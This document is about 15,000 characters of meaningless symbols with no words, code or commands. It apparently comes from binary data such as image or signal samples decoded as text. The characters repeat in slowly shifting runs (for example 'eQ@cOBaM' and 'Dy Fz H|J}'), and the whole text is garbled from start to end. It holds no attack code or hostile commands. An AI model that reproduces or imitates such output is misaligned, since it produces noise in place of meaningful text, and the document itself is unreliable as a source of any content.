|xtp"l%}i(zg+wd-ub/s`1q^2p]3o\3o\3o\3o\2p]1q^0r_.ta-tb1q^5mZ9iVOT@MVBKXDIZFG\HF]ID_KBaMAbN@cO?dP>eQ>eQ>eQ=fRPS?NUALWCKXDIZFH[GF]ID_KBaM@cO=fR;hT8jW4n[1q^,vc(zg$~jostttttuuuvwuro"l%}i'{h)yf*xe,vc-ub-ub.ta.ta-ub-ub,vc+wd)yf(zg&|i$~j"l!m$~j'{h)yf+wd,vc-ub.ta/s`/s`/s`/s`.ta-ub,vc*xe)yf'{h$~j"loqtutsrpo n!m"l#k$~j%}i&|i&|i&|i&|i%}i$~j#k"l!mopqstvwxuq!m%}i)yf-ub0r_4n[7kX:iUeQ=fReQ@cOAbNBaMC`LD_KD_K=tF]IF]IF]IF[GDYEDVCLOQS=t?uBwCx Fz H|J}M~NQS=t>uAvDx Fz H{J}L~OQS=t?uAwDy Fz H|J~MORS=s(r`/s`4n[9iV=fRBaMF]IIZFMVBPS?SPeQ:iU6lY2p].ta)yf(zg'{h&|i%}i$~j#k!moppqrrr"l(zg-ub3o\9iV>eQC`LH[GMVBQR>UN:YJ6\G3_D0bA-d?+f=)h;'s n$~j'{h*xe-ub0r_2p]4n[6lY7kX9iV:iU:iU;hT;hT;hT;hT;hT;hT;hT:iU:iU:iU>eQBaMF]IJYEMVBPS?SPSPMVBJYEH[GE^JG\HIZFKXDLWCNUAOT@OT@PS?PS?PS?PS?OT@NUAMVBLWCKXDJYEH[GF]ID_KD_KD_KE^JF]IG\HG\HH[GH[GH[GH[GG\HF]IE^JD_KBaM@cO>eQ;hT8jW4n[0r_-ub)yf(zg(zg(zg'{h'{h&|i&|i%}i$~j#k"l npqsuwywurp n!m#k%}i&|i(zg)yf+wd,vc.ta/s`1q^2p]4n[6lY7kX9iV;hT=fR?dPAbNC`LE^JF]IH[GIZFJYEKXDLWCMVBMVBMVBMVBLWCKXDJYEIZFG\HE^JC`L@cO>eQ;hT8jW4n[1q^-ub)yf%}i!mrvz {vq"l'{h,vc1q^5mZ8jWeQ@cOBaMD_KE^JF]IF]IE^JD_KC`L@cO>eQ:iU7kX3o\.ta*we%}i nsx}|wso"l%}i(zg+wd-ub/s`0r_2p]2p]3o\3o\3o\2p]1q^/s`-ub-ub1q^4n[8jWOT@MVBKXDIZFH[GF]ID_KC`LAbN@cO@cO?dP?dP?dP>eQ=fR*i9%o3t.y)~$       "}%{'x*u-r0n4 j8$g<(c@,_D0[H4VM9RQ=OT@NUALWCKXDJYEH[GF]ID_KC`L@cO>eQeQ@cOC`LE^JF]IH[GIZFJYEJYEKXDKXDKXDJYEJYEIZFH[GG\HF]ID_KC`LAbN@cO?dP>eQ=fRt@uBwEy G{I|K}MPQT=s?uBwDx Fz H{J}MOQS*f=)h;'tp"l&|i)yf,vc/s`1q^3o\5mZ7kX8jW9iV:iU;hT;hTTO;WL8YJ6[H4\G3^E1_D0_D0_D0_D0^E1\G3ZI5XK7UN:SPeQ;hT7kX4n[0r_,vc(zg$~j nsw|  ~yt n%}i*xe/s`3o\8jW;hT?dPBaMD_KG\HH[GIZFJYEJYEJYEIZFG\HE^JC`L@cOeQeQ=fReQAbNC`LE^JH[GJYELWCNUAPS?QR>SP*aB.\G3XK7SPeQ=fRt@vBxDx Fz H|J}MOQSU!>t@vBw Ey F{I|K~MPRT =t?uBwDx Fz I{J}MOQSTO;G{J}MOQS=t?uBwDy FzH|K~NYJ6ZI5[H4\G3\G3]F2]F2\G3\G3[H4YJ6XK7VM9TO;QR>NTAKXDH[GD_KAbN=fR8jW4n[0r_+wd&|i%}i$~j#k"l!mopqrsstq#k)yf/s`4n[:iU?dPE^JIZFNUARQ=VM9ZI5]F2`C/c@,e>*f=)h;'vr n$~j'{h*xe-ub0r_2p]4n[6lY7kX9iV:iU;hT;hT*i:&l6"o3r0u-w+y){'|&~$~$~$~$~$}%|&z(x*v,s/p2m5!i9%g;(c@,_D0[H4WL8SPQR>QR>PS?PS?OT@NUALWCKXDIZFH[GF]ID_KAbN?dP?dP@cO@cOAbNAbNBaMBaMBaMAbNAbN@cO?dP=fR;hT9iV6lY3o\0r_,vc(zg$~j"l"l"l"l"l"l!m n noqrsuwyxvtrp n"l#k%}i&|i'{h)yf*xe+wd,vc-ub/s`0r_1q^3o\4n[6lY7kX9iV;hT=fR?dPAbNC`LE^JG\HH[GJYEKXDLWCMVBMVBNUANUAMVBMVBLWCKXDIZFG\HE^JC`L@cO>eQ:iU7kX3o\0r_,vc(zg#kotx}  |wq"l'{h-ub1q^6lY:iU>eQBaME^JG\HJYEKXDLWCMVBMVBLVCKXDJYEH[GE^JBaM?dP;hT7kX2p]-ub(zg"lqw}  }xs n%}i)yf-ub1q^4n[8jW;hT=fR?dPAbNBaMC`LD_KD_KD_KD_KC`LBaM@cO?dP=fR:iU8jW5mZ3o\2p]5mZ8jW:iUeQ?dP@cO@cO?dP>eQ=fR;hT8jW5mZ2p].ta*xe%}i!mrwwwwwxxyyzvro"l%}i(zg+wd-ub.ta0r_1q^2p]2p]2p]2p]1q^0r_/s`-ub+wd/s`3o\7kX;hT>eQAbNE^JH[GJYEMVBOT@QR>SPeQ=fReQ@cOC`LE^JG\HIZFKXDLWCNUAPS?QR>RQ=TO;UN:VM9WL8WL8XK7XK7YJ6YJ6YJ6YJ6YJ6XK7XK7WL8VM9UN:TO;RQ=VM9\G3aB.g<(k7#p2v,z(#        ! ~${'x*u-r0n4 j8$g<(c@,^E1ZI5UN:QR>MVBLWCKXDIZFH[GG\HE^JC`LAbN?dPeQ@cOBaMD_KF]IH[GIZFJYEJYEKXDKXDJYEJYEJYEIZFH[GG\HC\HD_KC`LAbN@cO?dP=fRu@vBxDy Fz H|K}LNQST!>t@vBwDy F{I|J}LOQSeQC`LF]IJYEMVBPS?SPeQ:iU5mZ1q^,vc'{h$~j#k"l!moprssttuq#k)yf/s`5mZ:iU@cOE^JJYENUASP*f=)g<(xso"l&|i)yf,vc/s`1q^3o\5mZ7kX8jW:iU;hTeQ>eQ>eQ>eQ?dPBaMF]IJYEMVBPS?SP*i:&k7#o3r0u-x*z(|&~$#"! ! ""#}%|&y)w+t.q1n4 j8$g<(c@,_D0[H4WL8SPQR>QR>QR>PS?OT@NUAMVBLWCJYEH[GF]ID_KBaM@cO=fReQ>eQ>eQ>eQ>eQ>eQ=fReQAbND_KG\HJYELWCOT@QR>SPPS?NUALWCKXDIZFG\HF]ID_KC`LBaMAbNAbN@cOAbNAbN@cO@cO?dP>eQ=fReQ@cOBaMD_KF]IH[GJYEKXDMVBNUAPS?QR>RQ=SPUM:ZI5`C/e>*i9%n4 s/x*}%       "}%z(w+s/p2l6"i:&d?+`C/\G3WL8SPu?vBwCy Ey H{I}K~NOQSuAvCx Ez G{I}K~NPRT >t@uBwDy F{H|K}MPQT=t?vAwCx Fz H|K}MOQTL~NPSuAwCy Fz I|K}MPR\G3]F2^E1_D0`C/`C/`C/`C/_D0^E1]F2[H4YJ6WL8TO;RQ=NUAKXDG\HC`L?dP;hT7kX2p]-ub(zg$~j!m noprstuuvvq#k)yf/s`5mZ:iU@bOE^JJYENUASPeQ>eQ?dP?dP@cO@cO@cOD_KG\HKXDNUAQR>TO;VM9YJ6[H4\G3^E1_D0`C/`C/`C/`C/_D0^E1\G3YJ6ZI5^E1aB.e>*i:&SPNK~H|G{ Dy Aw?u=tTQOMK}H{Ez Cx Aw?uQR>QQ>QR>PS?OT@NUALWCKXDIZFG[HE^JC`LAbN>eQeQ@cOBaMD_KF]IG\HIZFJYEKXDLWCLWCMVBMVBLWCLWCKXDJYEH[GG\HD_KBaM?dPRQ=RQ=RQ=RQ=PS?OT@MVBJYEG\HC`L?dP;hT6lY1q^+wd&|i ntz  {vq"l'{h+wd0r_3o\7kX:iU=fR@cOBaMD_KE^JF]IG\HG\HG\HG\HF]IE^JD_KBaM@cO>eQOT@NUALWCJYEIZFG\HF]ID_KC`LBaMAbNAbNAbNAbNAbNAbN@cO@cO?dP>eQ=fR;hT:iU9iV8jW:iUeQ?dPAbNC`LE^JF]IH[GIZFKXDLWCMVBOT@PS?QR>RQ=RP=SPeQbN>^KFzFzG{J}K~NOQST!=t?v@wBxDy G{I{J}K~NORSu@vBwDy Fz G{I}L~NOQSu@vBwDy F{ H|J}LNPRT =s?uAwCx Ey G{I|L~NPRSt@vCwDy GzI}K~MPQT=s?uAvCy Fz H{K~MOQS=t?uAvCy Fz H|J~LOQT=t@vBwDy GzH}K}(zg-ub2p]7kX;hT?dPC`LG\HJYEMVBPS?OQS=s>uAwDx Fz H|J}MORU ^E1_D0`C/aB.bA-bA-bA-bA-aB.`C/_D0]F2[H4YJ6VM9SP*f=){vr n#k'{h*xe-ub/s`2p]4n[6lY8jW9iV;hTeQ?dP@cO@cOAbNAbNBaME^JH[GKXDOT@QR>TO;WL8YJ6[H4]F2^E1_D0`C/`C/`C/`C/_D0^E1\G3ZI5^E1aB.e>*h;'k7#o3RPNK~I|G{Dx Bw@u=tTROL~J}H{Fz Cx Aw?uu=sSPOL~J}G{Fz Cy Aw?u=sSQOMJ}I{F{ Dx Aw?v=tT I}N4fT5gU5gU6iV6iW6lY6lY5mZ4n[2p]1q^/s`,vc)yf&|i"lptssssssttuvwxzxvtrp n"l#k$~j%}i&|i'{h(zg)yf*xe+wd+wd,vc-ub-ub.ta/s`0r_1q^2p]4n[5mZ7kX9iV;hT=fR?dPAbNC`LE^JF]IH[GIZFJYEKXDKXDLWCLWCKXDKXDJYEIZFG\HE^JC`LAbN>eQ;hT8jW4n[1q^,vc(zg$~josx}  {vp$~j)yf/s`4n[9iV>eQBaMF]IJYEMVBOT@QR>SPOT@LWCIZFE^JAbN=fR8jW3o\-ub'{h"lrx~  |wr!m&|i+wd/s`3o\7kX:iU=fR@cOBaMD_KF]IG\HH[GIZFIZFIZFH[GG\HF]IE^JC`LAbN?dP=fR;hT8jW6lY3o\3o\5mZ6lY7kX7kX7kX6lY5mZ3o\1q^.ta+wd'{h#k#k#k#k#k#k#k"l"l!m nopqsro"l%}i'{h*xe+wd-ub.ta/s`0r_0r_0r_0r_/s`.ta,vc+wd)yf-ub1q^5mZ9iVeQ=fReQ?dPAbNBaMD_KE^JG\HH[GIZFKXDLWCMVBNUAOT@PS?QR>QR>RQ=RQ=RQ=SPQR>PS?OT@NUASPeQ;hT9iV5mZ2p].ta*xe*xe)yf)yf)yf)yf)yf)yf)yf)yf)yf)yf(zg(zg'{h&|i%}i$~j"l n!m#k$~j$~j$~j$~j$~j#k#k!m npqsvxzyvsqo n!m"l#k#k#k#k"l"l!m npqsuwy{}   }Dx Ez GzH|J}L~NOQRT u@vBwDy Fz G{I}K~MNPRSu@vBxDy Fz G{I|K~MOQRU =t?uAvCx Ez Fz I|J}L~NPRT =t?uAvCw Ey GzI|K~MOPSU!>t@vBwDx Fz H|J|L~NPRT =s?uBvCy Fy G|I}K~NORT=t@uAwDx Ez H|J}LNQRU!>u@vBx Ey F{I|K}MPQT>s?uBwDy Fz I|J~MOQS =t?vAwDx FzI|J~MOQT=t?uAwDy FzI|J~N&|i+wd0r_5mZ9iV=fRAbNE^JH[GKXDNUAQSt`C/aB.bA-c@,d?+d?+d?+d?+c@,bA-aB._D0]F2[H4XK7UN:RQ=OT@KXDG\HC`L>eQ:iU5mZ0r_+wd&|i!mqstuwxyyyys"l(zg.ta4n[9iV?dPD_KIZFNUARQ=VM9YJ6\G3_D0aB.c@,e>*f=)|xso"l&|i)yf,vc/s`1q^3o\6lY8jW9iV;hTeQ?dP@cOAbNBaMBaMC`LD_KF]IIZFLWCOT@RQ=UN:WL8YJ6[H4]F2^E1_D0`C/`C/`C/`C/_D0^E1\G3^E1aB.e>*h;'k7#o3r0T RPNK~I|F{ Dy Aw?u=tTQOLJ~H{Fy Cx Aw>ueQ?dPAbNC`LE^JF\IG\HIZFIZFJYEJYEJYEJYEIZFIZFG\HF]ID_KBaM?dP=fR:iU6lY3o\/s`+wd'{h"lpuz  ys n&|i,vc1q^6lY;hT@cOD_KH[GLWCOT@RQ=TO;UN:VM9WL8WL8VM9UN:SPNUAKXDG\HC`L>eQ9iV4n[/s`)yf#kqw}  }xs!m%|i*xe.ta3o\7kX:iU=fR@cOC`LE^JG\HH[GIZFJYEKXDKXDJYEJYEIZFH[GF]ID_KBaM@cO>eQSPPS?NUAMVBKXDJYEH[GF]IE^JD_KBaMAbNAbN@cO@cOAbNAbNAbN@cO@cO?dP?dP>eQ=fR>eQ?dP@cOAbNC`LD_KE^JG\HH[GIZFJYEKXDLWCMVBNUAOT@PS?PS?QR>QR>QR>QR>RQ=RQ=QR>QR>QR>QR>PS?PS?OT@OT@NUAMVBNUARQ=VM9[H4_D0d?+i:&m5!q1v,{'#    ! #   ! #|&x*u-q1m5!i9%f=)bA-^E1YJ6UN:PS?LWCH[GD_KC`LBaM@cO?dP=fR:iU7kX4n[1q^-ub-ub-ub,vc,vc,vc,vc,vc,vc,vc,vc,vc+wd+wd*xe)yf(zg'{h&|i$~j#k!m!m"l"l#k"l"l!m noprtvxz}zwusqo n!m!l!|i yfCx FzH| noprsuwy{}  Ey F{ G|I|J}L~NPPST =s>u@vAwCx Ey F{ H|J}K~LNPQSt@vAwCx Dy G{H|I}K~MOPST!>t?v@vCx Dz FzH|J}K~NOQSU!>u?uAwCx Fy H{I|K}MOQSU!=t?uAwCy Ey G{I|K~MOQSt@vBxDy FzI{J}L~NPRT >t?uBwDy Fz H{J}L~NPRU!=t@vBwDy FzH{J}LNPSu@wCxEy G{I|K~NPRU >t@uAwDy FzH|J~LOQS=t?vBwCy Fz H{K~LOQT=t?uBwDy G{I|K~MP$}i)yf.ta3o\7kX;hT?dPC`LF]IIZFLWCSuAwDx Ez H|J~MOQT =t@vaB.c@,d?+e>*f=)f=)f=)f=)e>*d?+c@,aB._D0]F2ZI5WL8TO;PS?MVBIZFD_K@cO;hT7kX2p]-ub(zg#kpuvxyz{{|zt n'{h-ub3o\8jW>eQC`LH[GMVBQR>UN:YJ6\G3^E1aB.c@,d?+e>*}ytp!m%}i(zg+wd.ta1q^3o\5mZ8jW9iV;hT=fR>eQ@cOAbNBaMC`LD_KE^JF]IG\HJYEMVBPS?SP*h;'k7#o3r0v,>uT ROMK}H|Gz Cy Av?u=sSQOM~K}H|Fz Cy Aw?u=tSPNLJ}H|Ez Cx Av?u=sSQOMJ}G|Fz Dx Aw?u=tTQOMK}I|FzEy Bw@u>uU RQNL~J}H{Ez Dx Bw?u>sT RPMK~J}G{Fz Dx Aw?u=tT RPNLJ}H{Fz Dy Bx@v>uU!SQOMK~I}G{Fz Cy Bw?v=tU RQOMK~I|G{Ez Cy Bw@u=teQ;hT8jW4n[1q^-ub)yf%}i nrw|  |wq"l(zg.ta3o\9iV>eQBaMG\HKXDNUAQR>TO;VM9WL8XK7YJ6XK7XK7VM9UN:RQ=PS?LWCH[GD_K@cO;hT5mZ0r_*xe$~jpv|  ~ys n%}i*xe.ta2p]6lY:iU>eQAbNC`LF]IH[GIZFKXDLWCLWCLWCLWCLWCKXDJYEIZFG\HE^JC`LAbN?dP=fR;hT8jW6lY4n[2p]3o\2p]2p]0r_/s`-ub+wd+wd+wd+wd+wd+wd+wd+wd+wd*xe*xe)yf(zg'{h&|i$~j#k!mpo!m$~j&|i(zg*xe+wd,vc-ub.ta.ta.ta-ub-ub,vc*xe)yf'{h,vc0r_4n[8jW;hT?dPBaME^JH[GJYEMVBOT@QR>RQ=SPOT@NUALWCKXDIZFG\HF]ID_KC`LBaMAbN@cO@cO@cO@cOAbNAbN@cO@cO@cO?dP@cOAbNBaMC`LD_KE^JF]IG\HIZFJYEKXDLWCLWCMVBNUAOT@OT@PS?PS?PS?QR>QR>QR>QR>QR>QR>PS?PS?OT@OT@NUANUAMVBMVBLWCNUAQR>UN:YJ6]F2bA-f=)j8$o3s/x*|&!     ! ~$#    "}%z(w+s/o3k7#h;'d?+`C/\G3WL8SPt@v@vBwCx Ez F{ G{I}J}LMNPRSU =t>u@vAwBx Dy Fz G{I|K}L~NOQRT u?vAvCwDy Ez H{I|J~LNOQSU!=t?uAvBxDx Fz G{J}K}MOPRTu@vBwCy Ez H{I|J~MNPRT =s?u@vCx Dy FzH|I}K~MORT=s>u@vBwDy Fz G|J}L~NPRT =t>uAvCx Dy G{I}K~MOQSU!>u@vBwDy Fz H|K}MNPSU!>t@vBw Dy F{ H|K~MOQSu@wCx Ez H{J|K~NPRU!=t@vAwDy FzI|K~MOQS=t@vAwDx Fz H|K}MPQS =t?vBwDy GzI|K}MPR xf'{h,vc0r_5mZ9iV=fR@cOC`LF]IIZFU >tAwCx Fz H{J}MORT=t?vBxd?+e>*f=)g<(h;'h;'h;'h;'g<(f=)e>*c@,aB._D0\G3YJ6VM9SPeQ?dPAbNBaMC`LE^JF]IG\HH[GIZFKXDMVBPS?SP*i:&k7#o3r0v,y)|&>tT ROMJ}I|F{ Dy Aw?u=sTQOL~J~H|Fz Cx Aw>utU SQOLJ}H|Fz Dx Bw?u>tU SPNLJ~H|Fz Dx Bw?v>uU!RPNL~K}I|FzDz Cw Av>u=tSRONL~I}G|Fz Dy Bx@v>ttMVBJYEE^JAbNeQAbND_KF]IIZFJYELWCMVBNUANUANUANUAMVBLWCKXDJYEH[GF]ID_KBaM@cO>eQeQBaME^JH[GJYELWCNUAPS?RQ=SPQR>QR>QR>QR>QR>QR>PS?PS?PS?OT@OT@NUAMVBMVBLWCKXDKXDNUAPS?TO;WL8[H4`C/d?+i:&l6"q1u-y)~$     #|&#!   ! #|&x*u-q1m5!i9%f=)bA-^E1ZI5VM9RQ=NUAJYEF]IC`L@cO=fR:iU8jW7kX6lY5mZ4n[4n[3o\3o\3o\3o\2p]2p]2p]2p]2p]1q^0o].n\,lZQST t@vAvCw Dy Ez FzH{I|K}L~MOPQSU =s?u@vAwCx Ey Ez G{I|J~L~MNPRTU!>t?u@wBwDx Fz G{H|J}LNOQRT=s>u@vBwDy Fy G{H|K}LNPRRU >t?v@vCx Dy FzI|J}K~NORSU!>t?vAwCx Ey G{I|K~LOQRU =t?uAvBwEy G{H|K~MNPST =t@uAwCx Ey G{J|K~MORSuAvBxDy F{H|K}MOQS=s>t@vBwEy G{I|K~MORS=s?uAvCx Fz G|J}L~NPRU!=u?vBwEy FzI|K~MORT =t@vBwDy Fz I|J}MOQT=s?uAwDx Fz I|K}MORT >t%}i)xf.ta2p]6lY:iU=fR@cOC`LF]I?t@vCx Fz G{J}LOQT=s?uBwDy f=)g<(h;'i:&i9%i9%i9%i9%i:&h;'g<(e>*c@,aB.^E1[H4XK7UN:QR>MVBIZFD_K?dP;hT6lY1q^+wd&|i!mrw|~ }wp$~j*xe0r_6lY;hTAbNF]IJYEOT@SPeQ@cOBaMC`LE^JF]IG\HIZFJYEKXDLWCNUAPS?SPtT QOMJ~H|Fz Dy Aw?v=sTQOLK}H|Ez Cx Aw?u=sTQNMJ}H|Ez Dx Aw>u=tTROLK}H{Fz Dy Aw@v=tT QOML~I}G{Ez Bx Av?tuU SQNMJ}H|G{Dy Bx @v>utU!SRPNLK}I|G{Ez Dx BwAv?u=tU!SQONMK~J}G{Fz Dy Cx Av@v>t=sT RQONMK}I}H{GzEz Dy Bx@v?u>u=sT L|:`N6fT1mZ+ta&{h ntz  zup$~j)yf-ub2p]6lY:iU>eQAbND_KG\HIZFKXDMVBNUAOT@OT@OT@OT@OT@NUAMVBLWCJYEIZFG\HE^JC`LAbN?dP=fR;hT9iV7kX6lY5mZ4n[3o\3o\3o\3o\2p]2p]2p]2p]2p]2p]1q^1q^0r_/s`.ta-ub,vc*xe(zg&|i#k!m n"l$~j&|i(zg)yf*xe+wd+wd+wd+wd+wd*xe)yf(zg&|i&|i*xe/s`3o\7kX:iU>eQAbND_KG\HJYELWCNUAPS?RQ=SPPS?NUAMVBKXDJYEH[GF]IE^JC`LBaMBaMD_KE^JF]IF]IF]IF]IG\HG\HG\HH[GIZFIZFJYEKXDKXDLWCMVBNUANUAOT@PS?PS?QR>QR>QR>RQ=RQ=RQ=RQ=RQ=RQ=QR>QR>PS?PS?OT@OT@NUAMVBMVBLWCKXDJYELWCNUAPS?SPp$Cx Dy Ey Fz G{H|I}J}K~LMNOPRRT U!=t>u@vAvAwCx Dx Ez F{H{H|J}L}LNOPRRT t?u@uAwCw Dy Fy GzH{I}K~LNOPRTU =s>u@vBwCx Dy Ez G{H}J~LMOQRSU =t>uAvBwCx Ey G{H{J}K~MOPRS =s>t?vAwCx Dz GzH{I}L~MOPRT =t>uAvBwCx Fz G{I|K}MOPRTt@uAwCy Ez G|I}K~MOQSU!=u?vBwDy Fz H|J}L~MPRT =s?uAvCx Ey G{I|L}NORTu@vCx Ey GzI|K~MORT >t?vBwDy Fz I|K~MOQT =t?uBwDy G{I|K~MORT >t{i"l'{h+wd/s`3o\7kX:iU=fR@cOC`LAvCw Ey G|J}M~OQS*c@,`C/]F2ZI5VM9SPSP*g<(i9%l6"o3s/v,y)}%" Bw@v=tT ROMK~H|F{ Cx Av?u=sSQOLJ~H|Fz Cx Bv?utT RPNLI|H{Ey Cx Aw>u=tSQPMK~H|G{Ey Cx@v>ttU SQOMK~I}G{Ez Dx Aw@v>uT!SQOMK~I}H|Fz Dy Bw@v>u=tT SPNMK~I|H|Fz Dy CxAv?uutLS@KUBJWCIZFG\HF]ID_KBaM@cO>eQeQAbND_KG\HJYELWCNUAPS?QR>SPOT@NUALWCKXDIZFG\HF]ID_KC`LE^JG\HIZFJYEKXDKXDKXDKXDLWCLWCLWCMVBMVBNUANUAOT@PS?PS?QR>QR>RQ=RQ=SPQR>PS?OT@OT@NUAMVBLWCKXDJYEKXDLWCOT@QR>SPt?u@vAwAwCw Cy Ey Ez F{G{I|J|J}K~LMNOPQSSU t?u@vAvBxCx Ey Ez G{H|I}J~L~MNOQRSU t?u@wBwCy Dy Fz G{I|J}K~LMOQRSU =s>u@uAwBx Ey Fz G{H|K}L~MOPQST!=s>u@vBwCy Ey GzH{J}K}MNPRST =t?uAvBw Dy Ez H{I|K~LNPQSU!=t?uAwCx Ey F{I|J}LNOQST!=t@uBwCx Ey G{I|K}LNPRT =s?uAvCwDy Fz H|J}LNPRT=t?uAvBx Ey GzH|K~L~OQSU =t@vBwCy Fy G{J}K~NPRT =t?uAwCy Fz G|I}L~NPRT =t?vBwDy Ez H{J~L~NPSuAvCx Ey G{I|LNPRT >t?vBwDy F{ I}K~NOQT4w+nty  ~zvr n$~j(zg,vc0r_3o\7kX:iU>eQAbNCx Ez H{J}LNQT=s?uBwCy Gz H|i9%j8$k7#l6"m5!m5!m5!m5!l6"k7#j8$i:&g<(d?+bA-_D0[H4XK7TO;PS?LWCG\HBaM>eQ9iV4n[/s`)yf$~joty~ zs!m'{h-ub3o\9iV>eQC`LH[GMVBQR>TO;XK7ZI5]F2_D0`C/aB.vwvr n$~j(zg+wd.ta1q^4n[7kX:iUu=sSROMK~H{Fz Dy Aw@u=sTQPMK~I}G{Ey Bw@v>tT RPOL~J}H{Fz Cx Aw?u=sTROMLJ|G{Fz Cx Aw?v=sTRPML~I}G{Ey Dx Av?v>tT RPNMK}H|GzDy Bx @v?u=tTRPNL~J}I{Fz Dy Bx Av?uuU SQONK~J}I|F{Ey Cx Aw@v>uut=tT SQPNNLK~I}H{F{Fz Ey Bx Bw@v?u>u=sT SQPONML~K}I}H|G{Fz Ey Dx Cx BwAv?u?u=tRQ=SPQR>QR>RQ=RQ=RQ=SPPS?OT@NUAMVBLWCKXDJYEJYELWCMVBOT@QR>SPt@vAvAvBwCx Dy Ey Ez F{G{I|J}J~L~M~NNPPRSST =s=u?u@vAwBxCx Dy Ez G{G{I|J}K~MNOPQRTU!=t?t?uAvBw Dy Ey Fz H|I|J}L~MNOQRSU =t>u@vBwCx Dy Fz G{H|J}KMNPQST =t>u@uBwCx Ey Fz H{I|K}LNOQST =t>u@vBwCy Ez G{I|J~L~MOQST =s?u@vCwDy Fz H{I|K~MNPRT=t?uAvBxDx Ez G{I}K~MOQST >t@uAvCx Ey G{I|J~MOQST =t@uAwDx Ey G{I}K}MOQSt@vCwEy Fz H|J~LOPRT!=t?vAwDy Ez H|J}M~NPST!>u?vOP=Ex FzI|J~MOQSuAwCx Fy G{H|RH5RL8RO;PS?MVBIZFF]IBaM>eQ:iU7kX4n[2p]/s`,vc(zg%}i!mquy}  ~zvr n$~j(zg,vc0r_4n[8jWMVBH[GC`L?dP:iU5mZ/s`*xe%}i nsx}  {t n&|i,vc2p]8jW=fRBaMG\HLWCPS?SPeQ@cOC`LE^JG\HIZFKXDMVBNUAPS?RQ=SPuU!SPNLK}H|Fz Cx Bw?v=tT SPNKJ}G{Fz Cy Aw@v=tT RPNLJ}H|Fz Cx Bw@v>tU!SPOMK}I|GzEy Cy Av?u>sT SQOMK}I|G{Ez Cx Aw@v>tT SQOMK~J}H|Fz Dy Bw @v?u=tT RPOMK~I|H{Fz Dy BxAv@u=tU!SQPNL~K}I|G|Fz Dx BwAv?v>tU!SRPNMKJ}H|G{Ey Dy Bw@v?u=t=sTRPONMK~J}H|F{Ez Dy BxAw@v>t=sT SRPONLK}J}H|H{Fz Ey Cx BwAv@v>u=tU!TRQPONMK~J}I}H{F{Ez Ey Cx Cw Aw@v?u>t=tRQ=SPPS?OT@MVBLWCJYEH[GF]IF]IIZFKXDNUAPS?RQ=SPPS?OT@MVBLWCKXDJYEKXDMVBNUAPS?RQ=TO;VM9XK7ZI5]F2`C/d?+g<(j8$n4 r0u-y)}%"  No@vAvAwBwBxCx Dy Dy Dy Ez Ez Fz G{G{H{I|I}J}J~K~LMMNOPPQRSST U!=t>t>u?u@vAvBwCwDy Ey Ez Fz G{H|I}J|J~K~MMNOPQSTT =s>t?u@vAvBwCx Dy Ey Fz G{H|J}J}LMNPQQST u@vAwCx Dy Fz H{I|J}M~NPQST =s>t@vAwCx Ey F{H|J}K~MOPRS=t>t@uBwCx Ey G{I|K}LNPQSU >u?vAvCx Ez G{H|J}MNPQTu@vBwDy Ez H{I}K~MORSt@vBwCy Fz H|J|L~MPRT=s?uAvCx Ey G{I|K}MOQSU!>u@vBwDy G{ H|K}LOPSU!>uEx NN:RQ=QP=RQ=QR>RQ=TO;VM9XK7YJ6ZI5[H4\G3\G3\G3[H4[H4YJ6XK7UN:SPSP*f=)h;'i9%k7#m5!o3q1t.w+z(}%" F{Dy Bx@u>tT ROMJ}H|Fz Cx Bw?u=tSQOMJ}H|Fz Cx Aw?u=sS QOMJ~H|F{Dy Bw@v=tT RPNK~I|G{Ez Cx @v?utU RPOM~J}H|Ez Dx Aw@v>tU!SQOLK~H|FzDy Cx Av?u=sTROMLJ}G|Ez Dy Aw@v>tU!SQOMK~J}H{Ez Dx Bx@v>utu=tT!SRONLK}I}H|F{Ey Cx Bx@v?u>tu=tU SRPPNLL~J~H|G|Fz Ez Dx Cw AwAv?u>u=sU SRPPNMLK~J}I|H|F{Ez Ey Cx Bw Bw@v?u>u=tu>u=tPS?NUAMVBKXDIZFH[GF]IIZFLWCOT@RQ=TO;VM9XK7YJ6ZI5ZI5ZI5ZI5ZI5[H4[H4[H4[H4\G3\G3\G3\G3\G3\G3[H4[H4[H4ZI5ZI5YJ6XK7WL8VM9UN:TO;SPOT@NUALWCKXDJYELWCNUAOT@QR>SP*i:&k7#o3s/v,z(}%" AvAwBwBxCx Dx Dx Dy Ey Fz Fz GzG{G|H|H|J|J}K}K~L~MMNNOPQQRSTT U!u?v@uAwAwCwCx Dy Ey Fz F{H|I|I|J}K~LMNOPQRRST =t>t?u?vAvAwCx Cy Ez F{G{H|J}J}KMNOPRST U!=t>t?v@vBwDx Dy Fz G{I{J|J~L~NOPRST u@vBvCxDy Fz G{I}K}L~MOQSSt@vAvCx Ey Fz H{J}K~LNPQSU!=t?uAvCx Ey Fz G|J}K~MOQRT =t?uAvBwCy Fz G{J|L~MNQRU =t@vAvCx Dy FzH|J~MNPRS=s?uAwBx Ey G{I|J}LNPRT =t@uAwCy Fz G{I|K~NOeQAbND_KF]IIZFKXDLWCNUAOT@PS?QR>RQ=RQ=SPeQAbND_KF]IIZFKXDNUAPS?RQ=TO;VM9XK7YJ6[H4]F2^E1`C/aB.c@,d?+f=)g<(i:&i9%k7#m5!o3q1s/u-x*z(}%"  Gz Dy Aw?u=tTROMK~H|Fz Cx Bw?u=sS ROMJ}H{Fz Dx Bw?u=sSQOMK~I|Fz Dx Aw@v=tT RPNLJ|G|Ey Cx @w>utt=sSQOMK~I}G{Ez Cx Av?u>tT RPOLJ}H|FzEy Bx Av>u=tT RPNMJ}H|G{Dy Cx Aw?v>tT SPOMK~I|H{Fz Dy Cw @v>u=tT SQOMK~J|H|FzEz Cx Aw?v>t=sSRQNMK~I}H|G{Ey Dx Bw@v>u=tT SQPNLK}J}H|F{Ey Dx AwAv?u>ut=tU!S RRPONML~K~J}I|H{G{ Ey Dy Cx BwAw@v?u>t=tPS?NUAMVBKXDIZFG\HJYEMVBPS?SPt?u?u?vAwBvBxCx Dx Dy Fz G{ G{H{I|J}K}K~L~MNOPQQST U t?u?u@vBwCx Dy Ez Fz G{H|I|J}L~MNOPQRST =t>t?u@vBwBxDy Ez Fz H|I|I}K}MMOPQSU =s>t?v@vAwDx Ey GzG{H|J~LMNPQST t@vAvBwDy Fz H{I|J}L~MOPRTU!=t@uAwCwDy Ey G{H|J}LMOPST =s?u@vBxDy Fz G{I}J}LNPRSU!=t?vAwCy Ez GzH|K}LNPRS=s>t@uCtCYFD\IC^JBaMAbN?dP=fR:iU8jW5mZ2p]/s`,vc(zg%}i"lpswz}  